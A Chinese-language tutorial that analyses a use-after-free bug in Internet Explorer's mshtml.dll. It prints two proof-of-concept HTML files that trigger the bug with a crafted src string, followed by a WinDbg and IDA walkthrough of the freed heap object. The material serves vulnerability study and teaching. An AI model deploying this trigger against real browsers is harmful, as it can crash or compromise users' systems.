IE浏览器UAF漏洞演示

UAF — Use After Free通常作用于堆类型,首先申请一块堆,然后释放掉,后边在某处又访问已经释放掉的堆时,就会触发安全问题。这种类型漏洞经常出现于浏览器中

以一个小的测试程序进行演示,两个html文件 — evil.html和poc.html

<!--evil.html--!>
<html>
<body>
<script>
var arr = new Array();
arr[0] = window.document.createElement("img");
arr[0]["src"] = "1";
</script>
<iframe src="poc.htm"></iframe>
</body>
</html>
<!--poc.html--!>
<html>
<script>
function SelectAll()
{
document.execCommand("selectAll");
};
function Trigger()
{
document.write("1");
parent.arr[0].src = "AAAA\u0c08\u0c0cAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
}
</script>
<body onload = 'SelectAll();' onselect='Trigger()'>
<div contenteditable="true">a</div>
</body>
</html>

IE 浏览器打开evil.html文件,选择允许阻止的内容

会弹出错误,在mshtml.dll中

windbg加载ie,注意有两个,选择第二个

G运行,然后加载网页内容执行poc

中断位置在mshtml.dll的CMshtmlEd::Exec+0x131

指令 mov edi, [edi+8]

Lmm命令查找mshtml符号表位置

Lmf查看到加载的mshtml.dll模块

Idapro加载mshtml.dll文件,会提示加载一个mshtml.pdb符号表

跳转到出错语句地址0x637D464B处,查看edi是如何赋值的

回溯,edi值由CMshtmlEd::Exec第一个参数arg_0传递来

第一个参数是CMshtmlEd的this指针

关闭IE浏览器,在windbg目录下执行命令

gflags /I InternetExplore.exe +hpa

开启页堆来调试堆

在函数CMshtmlEd::Exec处设置断点

单步执行到edi赋值处,此时edi赋值为0x05c13f78

使用!heap -p -a edi命令查看堆申请情况

dps edi 查看edi值,确实是CMshtmlEd的一个实例

按g继续运行,程序中断,地址0x05c13f80内容为空

此时查看堆调用情况,看到被Release和FreeHeap了

重新载入IE,设置断点加上一个Release

其中Release函数中先判断v2值,然后调用HeapFree()清空堆

执行到push esi时,是HeapFree()函数的第三个参数,esi是由edi传过来的

执行完call后,此时esi的值被释放掉

按g运行,断在mov edi, [edi+8]指令处,查看此时edi堆信息,已经调用了ntdll!RtlFreeHeap将堆内容释放掉了,而此处又在此引用了被释放掉的堆地址内容,从而导致UAF漏洞

您可能还喜欢...